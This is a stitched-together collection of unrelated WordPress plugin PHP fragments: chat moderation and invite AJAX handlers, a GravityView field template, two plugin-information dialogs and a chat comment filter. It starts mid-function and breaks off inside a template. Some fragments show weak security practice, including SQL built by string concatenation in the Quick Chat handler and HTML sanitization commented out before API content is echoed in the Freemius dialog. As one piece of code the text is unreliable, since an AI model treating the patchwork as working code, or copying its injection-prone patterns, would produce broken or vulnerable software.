wp_send_json($reply_data); die; } foreach ($this->chat_sessions as $chat_id => $chat_session) { if (wpmudev_chat_is_moderator($chat_session)) { $sql_str = $wpdb->prepare("DELETE FROM `" . WPMUDEV_Chat::tablename('message') . "` WHERE blog_id = %d AND chat_id = %s AND archived IN ('no') AND session_type = %s;", $chat_session['blog_id'], $chat_session['id'], $chat_session['session_type']); $wpdb->query($sql_str); //log_chat_message(__FUNCTION__ .": [". $sql_str ."]"); $this->chat_session_set_meta($chat_session, 'last_row_id', '__EMPTY__'); $this->chat_session_update_message_rows_deleted($chat_session); } else { $reply_data['errorStatus'] = true; $reply_data['errorText'] = __('Not moderator', $this->translation_domain); die; } } wp_send_json($reply_data); die; break; case 'chat_messages_archive': $reply_data = array(); $reply_data['errorStatus'] = false; $reply_data['errorText'] = ''; // If the user doesn't have a type if (!isset($this->chat_auth['type'])) { $reply_data['errorStatus'] = true; $reply_data['errorText'] = __('Invalid chat_auth [type]', $this->translation_domain); wp_send_json($reply_data); die; } else { if ($this->chat_auth['type'] != "wordpress") { $reply_data['errorStatus'] = true; $reply_data['errorText'] = __('Invalid chat_auth [type]', $this->translation_domain); wp_send_json($reply_data); die; } } if (!is_user_logged_in()) { $reply_data['errorStatus'] = true; $reply_data['errorText'] = __('Invalid chat_auth [type]', $this->translation_domain); wp_send_json($reply_data); die; } foreach ($this->chat_sessions as $chat_id => $chat_session) { if (wpmudev_chat_is_moderator($chat_session)) { $this->chat_session_archive_messages($chat_session); } } wp_send_json($reply_data); die; break; case 'chat_session_moderate_status': $reply_data = array(); $reply_data['errorStatus'] = false; $reply_data['errorText'] = ''; $chat_id = 0; if (!isset($_POST['chat_session'])) { $reply_data['errorStatus'] = true; $reply_data['errorText'] = __('Invalid chat_session', $this->translation_domain); wp_send_json($reply_data); die; } $chat_session = $_POST['chat_session']; $chat_id = esc_attr($chat_session['id']); if ($chat_id == '') { $reply_data['errorStatus'] = true; $reply_data['errorText'] = __('Invalid chat_id', $this->translation_domain); wp_send_json($reply_data); die; } if (!isset($_POST['chat_session_status'])) { $reply_data['errorStatus'] = true; $reply_data['errorText'] = __('Invalid chat_session_status', $this->translation_domain); wp_send_json($reply_data); die; } $chat_session_status = esc_attr($_POST['chat_session_status']); if ($chat_session_status != "open" && $chat_session_status != "closed") { $reply_data['errorStatus'] = true; $reply_data['errorText'] = __('Invalid chat_session_status', $this->translation_domain); wp_send_json($reply_data); die; } // If the user doesn't have a type if (!isset($this->chat_auth['type'])) { $reply_data['errorStatus'] = true; $reply_data['errorText'] = __('Invalid chat_auth [type]', $this->translation_domain); wp_send_json($reply_data); die; } else { if ($this->chat_auth['type'] != "wordpress") { $reply_data['errorStatus'] = true; $reply_data['errorText'] = __('Invalid chat_auth [type]', $this->translation_domain); wp_send_json($reply_data); die; } } if (!is_user_logged_in()) { $reply_data['errorStatus'] = true; $reply_data['errorText'] = __('Invalid chat_auth [type]', $this->translation_domain); wp_send_json($reply_data); die; } if (!wpmudev_chat_is_moderator($chat_session)) { $reply_data['errorStatus'] = true; $reply_data['errorText'] = __('not moderator', $this->translation_domain); wp_send_json($reply_data); die; } $this->chat_session_set_meta($chat_session, 'session_status', $chat_session_status); wp_send_json($reply_data); die; break; case 'chat_session_moderate_message': global $wpdb; if (!isset($_POST['chat_id'])) { wp_send_json_error(); die; } $chat_id = $_POST['chat_id']; if ($chat_id == '') { wp_send_json_error(); die; } if (!isset($_POST['row_id'])) { wp_send_json_error(); die; } list($row_time, $row_id) = explode('-', $_POST['row_id']); //$row_id = intval($_POST['row_id']); if (empty($row_time) || empty($row_id)) { wp_send_json_error(); die; } //log_chat_message(__FUNCTION__ .": row_time[". $row_time ."] row_id[". $row_id ."]"); if (!isset($_POST['moderate_action'])) { wp_send_json_error(); die; } $moderate_action = esc_attr($_POST['moderate_action']); if (empty($moderate_action)) { wp_send_json_error(); die; } if (!isset($_POST['chat_session'])) { wp_send_json_error(); die; } $chat_session = $_POST['chat_session']; // If the user doesn't have a type if (!isset($this->chat_auth['type'])) { wp_send_json_error(); die; } else { if ($this->chat_auth['type'] != "wordpress") { wp_send_json_error(); die; } } if (!is_user_logged_in()) { wp_send_json_error(); die; } if (!wpmudev_chat_is_moderator($chat_session)) { wp_send_json_error(); die; } $row_date = date('Y-m-d H:i:s', $row_time); $sql_str = $wpdb->prepare("SELECT id, deleted FROM `" . WPMUDEV_Chat::tablename('message') . "` WHERE id = %d AND blog_id = %d AND chat_id = %s AND timestamp = %s LIMIT 1;", $row_id, $chat_session['blog_id'], $chat_id, $row_date); //echo "sql_str=[". $sql_str ."]<br />"; //log_chat_message(__FUNCTION__ .": [". $sql_str ."]"); $chat_row = $wpdb->get_row($sql_str); //log_chat_message(__FUNCTION__ .": chat_row<pre>". print_r($chat_row, true) ."</pre>"; if ($chat_row && isset($chat_row->deleted)) { $chat_row_deleted_new = ''; if ($moderate_action == "delete") { $chat_row_deleted_new = 'yes'; } else { if ($moderate_action == "undelete") { $chat_row_deleted_new = 'no'; } } if (!empty($chat_row_deleted_new)) { $sql_str = $wpdb->prepare("UPDATE `" . WPMUDEV_Chat::tablename('message') . "` SET deleted=%s WHERE id=%d AND blog_id = %d AND chat_id = %s LIMIT 1;", $chat_row_deleted_new, $chat_row->id, $chat_session['blog_id'], $chat_id); //log_chat_message(__FUNCTION__ .": [". $sql_str ."]"); $wpdb->get_results($sql_str); $this->chat_session_update_message_rows_deleted($chat_session); //log_chat_message(__FUNCTION__ .": deleted_rows<pre>". print_r($deleted_rows, true) ."</pre>"; wp_send_json_success(); die; } } break; case 'chat_session_moderate_ipaddress': global $wpdb; if (!isset($_POST['chat_id'])) { die; } $chat_id = esc_attr($_POST['chat_id']); if ($chat_id == '') { die; } if (!isset($_POST['ip_address'])) { die; } $ip_address = esc_attr($_POST['ip_address']); if (empty($ip_address)) { die; } if (!isset($_POST['moderate_action'])) { die; } $moderate_action = esc_attr($_POST['moderate_action']); if (empty($moderate_action)) { die; } if (!isset($_POST['chat_session'])) { die; } $chat_session = $_POST['chat_session']; // If the user doesn't have a type if (!isset($this->chat_auth['type'])) { die; } else { if ($this->chat_auth['type'] != "wordpress") { die; } } if (!is_user_logged_in()) { die; } if (!wpmudev_chat_is_moderator($chat_session)) { die; } if ($this->get_option('blocked_ip_addresses_active', 'global') != "enabled") { die; } if (!isset($this->_chat_options['global']['blocked_ip_addresses']) || empty($this->_chat_options['global']['blocked_ip_addresses'])) { $this->_chat_options['global']['blocked_ip_addresses'] = array(); } if ($moderate_action == "block-ip") { $this->_chat_options['global']['blocked_ip_addresses'][] = $ip_address; $this->_chat_options['global']['blocked_ip_addresses'] = array_unique($this->_chat_options['global']['blocked_ip_addresses']); update_option('wpmudev-chat-global', $this->_chat_options['global']); } else { if ($moderate_action == "unblock-ip") { $arr_idx = array_search($ip_address, $this->_chat_options['global']['blocked_ip_addresses']); if ($arr_idx !== false && isset($this->_chat_options['global']['blocked_ip_addresses'][$arr_idx])) { unset($this->_chat_options['global']['blocked_ip_addresses'][$arr_idx]); update_option('wpmudev-chat-global', $this->_chat_options['global']); } } } wp_send_json_success(); die; break; case 'chat_session_moderate_user': global $wpdb; if (!isset($_POST['chat_id'])) { die; } $chat_id = esc_attr($_POST['chat_id']); if ($chat_id == '') { die; } if (!isset($_POST['moderate_item'])) { die; } $moderate_item = esc_attr($_POST['moderate_item']); if (empty($moderate_item)) { die; } if (!isset($_POST['moderate_action'])) { die; } $moderate_action = esc_attr($_POST['moderate_action']); if (empty($moderate_action)) { die; } if (!isset($_POST['chat_session'])) { die; } $chat_session = $_POST['chat_session']; // If the user doesn't have a type if (!isset($this->chat_auth['type'])) { die; } else { if ($this->chat_auth['type'] != "wordpress") { die; } } if (!is_user_logged_in()) { die; } if (!wpmudev_chat_is_moderator($chat_session)) { die; } if ($moderate_action == "block-user") { $this->_chat_options['global']['blocked_users'][] = $moderate_item; $this->_chat_options['global']['blocked_users'] = array_unique($this->_chat_options['global']['blocked_users']); update_option('wpmudev-chat-global', $this->_chat_options['global']); } else { if ($moderate_action == "unblock-user") { $arr_idx = array_search($moderate_item, $this->_chat_options['global']['blocked_users']); if ($arr_idx !== false && isset($this->_chat_options['global']['blocked_users'][$arr_idx])) { unset($this->_chat_options['global']['blocked_users'][$arr_idx]); update_option('wpmudev-chat-global', $this->_chat_options['global']); } } } wp_send_json_success(); die; break; case 'chat_session_invite_private': global $wpdb, $blog_id; //echo "_POST<pre>"; print_r($_POST); echo "</pre>"; //die(); // We ONLY allow logged in users to perform private invites if (!is_user_logged_in()) { wp_send_json_error(); return; } if (md5(get_current_user_id()) != $this->chat_auth['auth_hash']) { wp_send_json_error(); return; } $user_from_hash = $this->chat_auth['auth_hash']; if (!isset($_REQUEST['wpmudev-chat-to-user']) || empty($_REQUEST['wpmudev-chat-to-user'])) { wp_send_json_error(); return; } $user_to_hash = esc_attr($_REQUEST['wpmudev-chat-to-user']); $private_invite_noonce = time(); $chat_id = "private-" . $private_invite_noonce; //if (is_multisite()) // $blog_id = $wpdb->blogid; //else // $blog_id = 1; $sql_str = $wpdb->prepare("SELECT invite_from.chat_id, invite_from.id invite_from_id, invite_to.id invite_to_id FROM " . WPMUDEV_Chat::tablename('message') . " as invite_from INNER JOIN " . WPMUDEV_Chat::tablename('message') . " as invite_to ON invite_from.chat_id=invite_to.chat_id AND invite_to.auth_hash = %s WHERE invite_from.blog_id = %d AND invite_from.session_type=%s AND invite_from.auth_hash=%s ORDER BY invite_from.timestamp ASC LIMIT 1", $user_to_hash, $blog_id, 'invite', $user_from_hash); //echo "sql_str[". $sql_str ."]<br />"; $invites = $wpdb->get_row($sql_str); //echo "invites<pre>"; print_r($invites); echo "</pre>"; if (!empty($invites)) { $invitation = array(); $invitation['host'] = array(); $invitation['host'] = $this->chat_auth; // IF we have a previous private chat we do a number of setup tasks // For the user sending the invite. We update the message with the 'no' archived status and fill in the invitation. if (isset($invites->invite_from_id)) { $sql_str = $wpdb->prepare("UPDATE " . WPMUDEV_Chat::tablename('message') . " SET archived = %s, message = %s, moderator = %s WHERE id = %d AND blog_id = %d AND chat_id = %s AND auth_hash = %s LIMIT 1", 'no', serialize($invitation), 'no', $invites->invite_from_id, $blog_id, $invites->chat_id, $user_from_hash); //echo "sql_str[". $sql_str ."]<br />"; $wpdb->get_results($sql_str); } // For the user receiving the invite. We update the message with the 'no' archived status and fill in the invitation. The invitation // Contains information like who did the invite. if (isset($invites->invite_to_id)) { $invitation['id'] = $invites->invite_from_id; $invitation['invite-status'] = 'pending'; $sql_str = $wpdb->prepare("UPDATE " . WPMUDEV_Chat::tablename('message') . " SET archived = %s, message = %s, moderator = %s WHERE id = %d AND blog_id = %d AND chat_id = %s AND auth_hash = %s LIMIT 1", 'no', serialize($invitation), 'no', $invites->invite_to_id, $blog_id, $invites->chat_id, $user_to_hash); //echo "sql_str[". $sql_str ."]<br />"; $wpdb->get_results($sql_str); } // Then we un-archive the previous messages if any $sql_str = $wpdb->prepare("UPDATE " . WPMUDEV_Chat::tablename('message') . " SET archived = %s WHERE blog_id = %d AND chat_id = %s AND session_type = %s", 'no', $blog_id, $invites->chat_id, 'private'); //echo "sql_str[". $sql_str ."]<br />"; $wpdb->get_results($sql_str); // Lastly, we then unarchive the log reference. $sql_str = $wpdb->prepare("UPDATE " . WPMUDEV_Chat::tablename('log') . " SET archived = %s WHERE blog_id = %d AND chat_id = %s AND session_type = %s LIMIT 1", 'no', $blog_id, $invites->chat_id, 'private'); //echo "sql_str[". $sql_str ."]<br />"; $wpdb->get_results($sql_str); } else { if (empty($invites)) { $sql_str = $wpdb->prepare("INSERT INTO " . WPMUDEV_Chat::tablename('message') . " (`blog_id`, `chat_id`, `session_type`, `timestamp`, `name`, `avatar`, `auth_hash`, `ip_address`, `message`, `moderator`, `deleted`, `archived`, `log_id`) VALUES(%d, %s, %s, NOW(), %s, %s, %s, %s, %s, %s, %s, %s, %d);", $blog_id, $chat_id, 'invite', $this->chat_auth['name'], $this->chat_auth['avatar'], $user_from_hash, $this->chat_auth['ip_address'], serialize($invitation), $user_moderator, 'no', 'no', 0); //log_chat_message(__FUNCTION__ .": [". $sql_str ."]"); $wpdb->get_results($sql_str); if (intval($wpdb->insert_id)) { $invitation['id'] = $wpdb->insert_id; $invitation['invite-status'] = 'pending'; // Then add the to $user_moderator = "no"; $sql_str = $wpdb->prepare("SELECT * FROM " . WPMUDEV_Chat::tablename('message') . " WHERE blog_id = %d AND chat_id=%s AND session_type=%s AND auth_hash=%s AND archived = %s ORDER BY timestamp ASC", $blog_id, $chat_id, 'invite', $user_to_hash, 'no'); //log_chat_message(__FUNCTION__ .": [". $sql_str ."]"); $invites = $wpdb->get_results($sql_str); if (empty($invites)) { $sql_str = $wpdb->prepare("INSERT INTO " . WPMUDEV_Chat::tablename('message') . " (`blog_id`, `chat_id`, `session_type`, `timestamp`, `name`, `avatar`, `auth_hash`, `ip_address`, `message`, `moderator`, `deleted`, `archived`, `log_id`) VALUES(%d, %s, %s, NOW(), %s, %s, %s, %s, %s, %s, %s, %s, %d);", $blog_id, $chat_id, 'invite', $this->chat_auth['name'], $this->chat_auth['avatar'], $user_to_hash, $this->chat_auth['ip_address'], serialize($invitation), $user_moderator, 'no', 'no', 0); //log_chat_message(__FUNCTION__ .": [". $sql_str ."]"); $wpdb->get_results($sql_str); } } } } wp_send_json_success(); die; break; case 'chat_update_user_status': if (!is_user_logged_in()) { return; } $user_id = get_current_user_id(); if (md5($user_id) == $this->chat_auth['auth_hash']) { if (isset($_POST['wpmudev-chat-user-status'])) { $new_status = esc_attr($_POST['wpmudev-chat-user-status']); if (isset($this->_chat_options['user-statuses'][$new_status])) { wpmudev_chat_update_user_status($user_id, $new_status); wp_send_json_success(); } } } die; break; case 'chat_invite_update_user_status': $chat_id = esc_attr($_POST['chat-id']); if (!$chat_id) { die; } if (!isset($this->chat_auth['auth_hash']) || empty($this->chat_auth['auth_hash'])) { die; } $invite_status = esc_attr($_POST['invite-status']); if ($invite_status != 'accepted' && $invite_status != 'declined') { $invite_status = 'declined'; } global $wpdb; $sql_str = $wpdb->prepare("SELECT * FROM " . WPMUDEV_Chat::tablename('message') . " WHERE session_type=%s AND auth_hash=%s AND archived IN('no') ORDER BY timestamp ASC", 'invite', $this->chat_auth['auth_hash']); //log_chat_message(__FUNCTION__ .": [". $sql_str ."]"); $invite_chats = $wpdb->get_results($sql_str); if (!empty($invite_chats)) { foreach ($invite_chats as $invite_chat) { $invite_info = unserialize($invite_chat->message); $invite_info['invite-status'] = $invite_status; $sql_str = $wpdb->prepare("UPDATE " . WPMUDEV_Chat::tablename('message') . " SET `message`= %s WHERE id=%d", serialize($invite_info), $invite_chat->id); //log_chat_message(__FUNCTION__ .": [". $sql_str ."]"); $wpdb->query($sql_str); } } wp_send_json_success(); die; break; } }
<?php /** * Display the textarea field type * * Use wpautop() to format paragraphs, as expected, instead of line breaks like Gravity Forms displays by default. * * @package GravityView * @subpackage GravityView/templates/fields */ $gravityview_view = GravityView_View::getInstance(); extract($gravityview_view->getCurrentField()); if (!empty($field_settings['trim_words'])) { $excerpt_more = apply_filters('excerpt_more', ' ' . '[…]'); $value = wp_trim_words($value, $field_settings['trim_words'], $excerpt_more); } if (!empty($field_settings['make_clickable'])) { $value = make_clickable($value); } if (!empty($field_settings['new_window'])) { $value = links_add_target($value); } echo wpautop($value);
/** * Display plugin information in dialog box form. * @hook install_plugins_pre_plugin-information */ function hw_install_module_information() { global $tab; if (empty($_REQUEST['module'])) { return; } $api = modules_api('module_information', array('slug' => wp_unslash($_REQUEST['module']), 'is_ssl' => is_ssl(), 'fields' => array('banners' => true, 'reviews' => true, 'downloaded' => false, 'active_installs' => true))); //for testing $api = (object) array('name' => 'HW YARPP', 'version' => '1.0', 'author' => 'hoangweb', 'slug' => 'hw-yarpp', 'last_updated' => time()); if (is_wp_error($api)) { wp_die($api); } $plugins_section_titles = array('description' => _x('Description', 'Plugin installer section title'), 'installation' => _x('Installation', 'Plugin installer section title')); $section = 'description'; // Default to the Description tab, $_tab = 'plugin-information'; //esc_attr( $tab ); because avaiable exists css for 'plugin-information' iframe_header(__('HW Module Install')); echo '<div id="plugin-information-scrollable">'; echo "<div id='{$_tab}-title' class=''><div class='vignette'></div><h2>{$api->name}</h2></div>"; //tabs echo "<div id='{$_tab}-tabs' class=''>\n"; echo "<a href='#' class=''>Tab</a>"; echo "<a href='#' class=''>Tab 1</a>"; echo "</div>\n"; $date_format = __('M j, Y @ H:i'); $last_updated_timestamp = strtotime($api->last_updated); ?> <div id="<?php echo $_tab; ?> -content" class='<?php ?> '> <!-- right info --> <div class="fyi"> <ul> <?php if (!empty($api->version)) { ?> <li><strong><?php _e('Version:'); ?> </strong> <?php echo $api->version; ?> </li> <?php } if (!empty($api->author)) { ?> <li><strong><?php _e('Author:'); ?> </strong> <?php echo links_add_target($api->author, '_blank'); ?> </li> <?php } if (!empty($api->last_updated)) { ?> <li><strong><?php _e('Last Updated:'); ?> </strong> <span title="<?php echo esc_attr(date_i18n($date_format, $last_updated_timestamp)); ?> "> <?php printf(__('%s ago'), human_time_diff($last_updated_timestamp)); ?> </span></li> <?php } if (!empty($api->slug) && empty($api->external)) { ?> <li><a target="_blank" href="https://develop.hoangweb.com/plugins/<?php echo $api->slug; ?> /"><?php _e('Hoangweb.com Plugin Page »'); ?> </a></li> <?php } ?> </ul> </div> <!-- tabs content --> <div id="section-holder" class="wrap"> <?php if (!empty($api->sections)) { foreach ((array) $api->sections as $section_name => $content) { $content = links_add_base_url($content, 'https://develop.hoangweb.com/modules/' . $api->slug . '/'); $content = links_add_target($content, '_blank'); $san_section = esc_attr($section_name); $display = $section_name === $section ? 'block' : 'none'; echo "\t<div id='section-{$san_section}' class='section' style='display: {$display};'>\n"; echo $content; echo "\t</div>\n"; } } ?> </div> </div> <?php echo '</div>'; #plugin-information-scrollable echo "<div id='{$tab}-footer'>\n"; if (!empty($api->download_link) && (current_user_can('install_plugins') || current_user_can('update_plugins'))) { $status = _install_plugin_install_status($api); switch ($status['status']) { case 'install': if ($status['url']) { echo '<a class="button button-primary right" href="' . $status['url'] . '" target="_parent">' . __('Install Now') . '</a>'; } break; case 'update_available': if ($status['url']) { echo '<a data-slug="' . esc_attr($api->slug) . '" id="plugin_update_from_iframe" class="button button-primary right" href="' . $status['url'] . '" target="_parent">' . __('Install Update Now') . '</a>'; } break; } } echo "</div>\n"; iframe_footer(); exit; }
public function new_message_ajax_handler() { global $wpdb; $quick_chat_messages_table_name = $wpdb->prefix . 'quick_chat_messages'; if ($this->user_status != 0) { $_POST['message'] = wp_kses(trim(stripslashes(substr($_POST['message'], 0, $this->options['message_maximum_number_chars']))), ''); } else { $_POST['message'] = wp_kses(trim(stripslashes($_POST['message'])), ''); } if ($this->no_participation == 0 && $_POST['message'] != '') { if ($this->user_status != 0) { $_POST['message'] = $this->filter($_POST['message'], isset($this->options['replace_inside_bad_words']) ? true : false); } if (isset($this->options['hyperlinks'])) { $_POST['message'] = links_add_target(make_clickable($_POST['message'])); } $wpdb->query('INSERT INTO ' . $quick_chat_messages_table_name . ' (wpid, room, timestamp, alias, status, ip, message) VALUES ( "' . $this->user_id . '", "' . esc_sql($_POST['room']) . '", NOW(), "' . ($_POST['sys_mes'] == 'true' ? 'quick_chat' : esc_sql($this->user_name)) . '", ' . $this->user_status . ', "' . $this->user_ip . '", "' . esc_sql($_POST['message']) . '");'); } $response = json_encode(array('no_participation' => $this->no_participation)); header("Content-Type: application/json"); echo $response; exit; }
/** * Spruces up the comment text when displaying a comment. * * Chat messages are stored as comments in the WordPress database * so this filter takes the text (typically a single line) and * adds some basic expected functionality like turning links to * images into inline images, and parsing simple markdown. * * @link https://developer.wordpress.org/reference/hooks/comment_text/ * * @uses Parsedown::text() * @uses links_add_target() * * @param string $comment_text * * @return string */ public static function filterCommentText($comment_text) { // Detect any URLs that point to recognized images, and embed them. $pat = '!(?:([^:/?#\\s]+):)?(?://([^/?#]*))?([^?#\\s]*\\.(jpe?g|JPE?G|gif|GIF|png|PNG))(?:\\?([^#]*))?(?:#(.*))?!'; $rep = '<a href="$0"><img src="$0" alt="[' . sprintf(esc_attr__('%1$s image from %2$s', 'buoy'), '.$4 ', '$2') . ']" style="max-width:100%;" /></a>'; $comment_text = preg_replace($pat, $rep, $comment_text); // Finally, parse the result as markdown for more formatting if (!class_exists('Parsedown')) { require_once dirname(__FILE__) . '/includes/vendor/wp-screen-help-loader/vendor/parsedown/Parsedown.php'; } $comment_text = Parsedown::instance()->text($comment_text); return links_add_target($comment_text); }
/** * Display plugin information in dialog box form. * * Based on core install_plugin_information() function. * * @author Vova Feldman (@svovaf) * @since 1.0.6 */ function install_plugin_information() { global $tab; if (empty($_REQUEST['plugin'])) { return; } $args = array('slug' => wp_unslash($_REQUEST['plugin']), 'is_ssl' => is_ssl(), 'fields' => array('banners' => true, 'reviews' => true, 'downloaded' => false, 'active_installs' => true)); if (is_array($args)) { $args = (object) $args; } if (!isset($args->per_page)) { $args->per_page = 24; } if (!isset($args->locale)) { $args->locale = get_locale(); } $api = apply_filters('fs_plugins_api', false, 'plugin_information', $args); if (is_wp_error($api)) { wp_die($api); } $plugins_allowedtags = array('a' => array('href' => array(), 'title' => array(), 'target' => array(), 'class' => array()), 'style' => array(), 'abbr' => array('title' => array()), 'acronym' => array('title' => array()), 'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(), 'div' => array('class' => array()), 'span' => array('class' => array()), 'p' => array(), 'ul' => array(), 'ol' => array(), 'li' => array('class' => array()), 'i' => array('class' => array()), 'h1' => array(), 'h2' => array(), 'h3' => array(), 'h4' => array(), 'h5' => array(), 'h6' => array(), 'img' => array('src' => array(), 'class' => array(), 'alt' => array())); $plugins_section_titles = array('description' => _x('Description', 'Plugin installer section title'), 'installation' => _x('Installation', 'Plugin installer section title'), 'faq' => _x('FAQ', 'Plugin installer section title'), 'screenshots' => _x('Screenshots', 'Plugin installer section title'), 'changelog' => _x('Changelog', 'Plugin installer section title'), 'reviews' => _x('Reviews', 'Plugin installer section title'), 'other_notes' => _x('Other Notes', 'Plugin installer section title')); // Sanitize HTML // foreach ( (array) $api->sections as $section_name => $content ) { // $api->sections[$section_name] = wp_kses( $content, $plugins_allowedtags ); // } foreach (array('version', 'author', 'requires', 'tested', 'homepage', 'downloaded', 'slug') as $key) { if (isset($api->{$key})) { $api->{$key} = wp_kses($api->{$key}, $plugins_allowedtags); } } // Add after $api->slug is ready. $plugins_section_titles['features'] = __fs('features-and-pricing', $api->slug); $_tab = esc_attr($tab); $section = isset($_REQUEST['section']) ? wp_unslash($_REQUEST['section']) : 'description'; // Default to the Description tab, Do not translate, API returns English. if (empty($section) || !isset($api->sections[$section])) { $section_titles = array_keys((array) $api->sections); $section = array_shift($section_titles); } iframe_header(__('Plugin Install')); $_with_banner = ''; // var_dump($api->banners); if (!empty($api->banners) && (!empty($api->banners['low']) || !empty($api->banners['high']))) { $_with_banner = 'with-banner'; $low = empty($api->banners['low']) ? $api->banners['high'] : $api->banners['low']; $high = empty($api->banners['high']) ? $api->banners['low'] : $api->banners['high']; ?> <style type="text/css"> #plugin-information-title.with-banner { background-image: url( <?php echo esc_url($low); ?> ); } @media only screen and ( -webkit-min-device-pixel-ratio: 1.5 ) { #plugin-information-title.with-banner { background-image: url( <?php echo esc_url($high); ?> ); } } </style> <?php } echo '<div id="plugin-information-scrollable">'; echo "<div id='{$_tab}-title' class='{$_with_banner}'><div class='vignette'></div><h2>{$api->name}</h2></div>"; echo "<div id='{$_tab}-tabs' class='{$_with_banner}'>\n"; foreach ((array) $api->sections as $section_name => $content) { if ('reviews' === $section_name && (empty($api->ratings) || 0 === array_sum((array) $api->ratings))) { continue; } if (isset($plugins_section_titles[$section_name])) { $title = $plugins_section_titles[$section_name]; } else { $title = ucwords(str_replace('_', ' ', $section_name)); } $class = $section_name === $section ? ' class="current"' : ''; $href = add_query_arg(array('tab' => $tab, 'section' => $section_name)); $href = esc_url($href); $san_section = esc_attr($section_name); echo "\t<a name='{$san_section}' href='{$href}' {$class}>{$title}</a>\n"; } echo "</div>\n"; ?> <div id="<?php echo $_tab; ?> -content" class='<?php echo $_with_banner; ?> '> <div class="fyi"> <?php if ($api->is_paid) { ?> <?php if (isset($api->plans)) { ?> <div class="plugin-information-pricing"> <?php foreach ($api->plans as $plan) { ?> <?php /** * @var FS_Plugin_Plan $plan */ ?> <?php $first_pricing = $plan->pricing[0]; ?> <?php $is_multi_cycle = $first_pricing->is_multi_cycle(); ?> <div class="fs-plan<?php if (!$is_multi_cycle) { echo ' fs-single-cycle'; } ?> " data-plan-id="<?php echo $plan->id; ?> "> <h3 data-plan="<?php echo $plan->id; ?> "><?php printf(__fs('x-plan', $api->slug), $plan->title); ?> </h3> <?php $has_annual = $first_pricing->has_annual(); ?> <?php $has_monthly = $first_pricing->has_monthly(); ?> <div class="nav-tab-wrapper"> <?php $billing_cycles = array('monthly', 'annual', 'lifetime'); ?> <?php $i = 0; foreach ($billing_cycles as $cycle) { ?> <?php $prop = "{$cycle}_price"; if (isset($first_pricing->{$prop})) { ?> <?php $is_featured = 'annual' === $cycle && $is_multi_cycle; ?> <?php $prices = array(); foreach ($plan->pricing as $pricing) { if (isset($pricing->{$prop})) { $prices[] = array('id' => $pricing->id, 'licenses' => $pricing->licenses, 'price' => $pricing->{$prop}); } } ?> <a class="nav-tab" data-billing-cycle="<?php echo $cycle; ?> " data-pricing="<?php esc_attr_e(json_encode($prices)); ?> "> <?php if ($is_featured) { ?> <label>★ <?php _efs('best', $api->slug); ?> ★</label> <?php } ?> <?php _efs($cycle, $api->slug); ?> </a> <?php } ?> <?php $i++; } ?> <?php wp_enqueue_script('jquery'); ?> <script type="text/javascript"> (function ($, undef) { var _formatBillingFrequency = function (cycle) { switch (cycle) { case 'monthly': return '<?php printf(__fs('billed-x', $api->slug), __fs('monthly', $api->slug)); ?> '; case 'annual': return '<?php printf(__fs('billed-x', $api->slug), __fs('annually', $api->slug)); ?> '; case 'lifetime': return '<?php printf(__fs('billed-x', $api->slug), __fs('once', $api->slug)); ?> '; } }, _formatLicensesTitle = function (pricing) { switch (pricing.licenses) { case 1: return '<?php _efs('license-single-site', $api->slug); ?> '; case null: return '<?php _efs('license-unlimited', $api->slug); ?> '; default: return '<?php _efs('license-x-sites', $api->slug); ?> '.replace('%s', pricing.licenses); } }, _formatPrice = function (pricing, cycle, multipleLicenses) { if (undef === multipleLicenses) multipleLicenses = true; var priceCycle; switch (cycle) { case 'monthly': priceCycle = ' / <?php _efs('mo', $api->slug); ?> '; break; case 'lifetime': priceCycle = ''; break; case 'annual': default: priceCycle = ' / <?php _efs('year', $api->slug); ?> '; break; } if (!multipleLicenses && 1 == pricing.licenses) { return '$' + pricing.price + priceCycle; } return _formatLicensesTitle(pricing) + ' - <var class="fs-price">$' + pricing.price + priceCycle + '</var>'; }, _checkoutUrl = function (plan, pricing, cycle) { return '<?php echo esc_url_raw(remove_query_arg('billing_cycle', add_query_arg(array('plugin_id' => $plan->plugin_id), $api->checkout_link))); ?> ' + '&plan_id=' + plan + '&pricing_id=' + pricing + '&billing_cycle=' + cycle<?php if ($plan->has_trial()) { echo " + '&trial=true'"; } ?> ; }, _updateCtaUrl = function (plan, pricing, cycle) { $('.plugin-information-pricing .button, #plugin-information-footer .button').attr('href', _checkoutUrl(plan, pricing, cycle)); }; $(document).ready(function () { var $plan = $('.plugin-information-pricing .fs-plan[data-plan-id=<?php echo $plan->id; ?> ]'); $plan.find('input[type=radio]').live('click', function () { _updateCtaUrl( $plan.attr('data-plan-id'), $(this).val(), $plan.find('.nav-tab-active').attr('data-billing-cycle') ); $plan.find('.fs-trial-terms .fs-price').html( $(this).parents('label').find('.fs-price').html() ); }); $plan.find('.nav-tab').click(function () { if ($(this).hasClass('nav-tab-active')) return; var $this = $(this), billingCycle = $this.attr('data-billing-cycle'), pricing = JSON.parse($this.attr('data-pricing')), $pricesList = $this.parents('.fs-plan').find('.fs-pricing-body .fs-licenses'), html = ''; // Un-select previously selected tab. $plan.find('.nav-tab').removeClass('nav-tab-active'); // Select current tab. $this.addClass('nav-tab-active'); // Render licenses prices. if (1 == pricing.length) { html = '<li><label><?php _efs('price', $api->slug); ?> : ' + _formatPrice(pricing[0], billingCycle, false) + '</label></li>'; } else { for (var i = 0; i < pricing.length; i++) { html += '<li><label><input name="pricing-<?php echo $plan->id; ?> " type="radio" value="' + pricing[i].id + '">' + _formatPrice(pricing[i], billingCycle) + '</label></li>'; } } $pricesList.html(html); if (1 < pricing.length) { // Select first license option. $pricesList.find('li:first input').click(); } else { _updateCtaUrl( $plan.attr('data-plan-id'), pricing[0].id, billingCycle ); } // Update billing frequency. $plan.find('.fs-billing-frequency').html(_formatBillingFrequency(billingCycle)); if ('annual' === billingCycle) { $plan.find('.fs-annual-discount').show(); } else { $plan.find('.fs-annual-discount').hide(); } }); <?php if ($has_annual) { ?> // Select annual by default. $plan.find('.nav-tab[data-billing-cycle=annual]').click(); <?php } else { ?> // Select first tab. $plan.find('.nav-tab:first').click(); <?php } ?> }); }(jQuery)); </script> </div> <div class="fs-pricing-body"> <span class="fs-billing-frequency"></span> <?php $annual_discount = $has_annual && $has_monthly ? $plan->pricing[0]->annual_discount_percentage() : 0; ?> <?php if ($annual_discount > 0) { ?> <span class="fs-annual-discount"><?php printf(__fs('save-x', $api->slug), $annual_discount . '%'); ?> </span> <?php } ?> <ul class="fs-licenses"> </ul> <?php echo $this->get_plugin_cta($api, $plan); ?> <div style="clear:both"></div> <?php if ($plan->has_trial()) { ?> <?php $trial_period = $this->get_trial_period($plan); ?> <ul class="fs-trial-terms"> <li> <i class="dashicons dashicons-yes"></i><?php 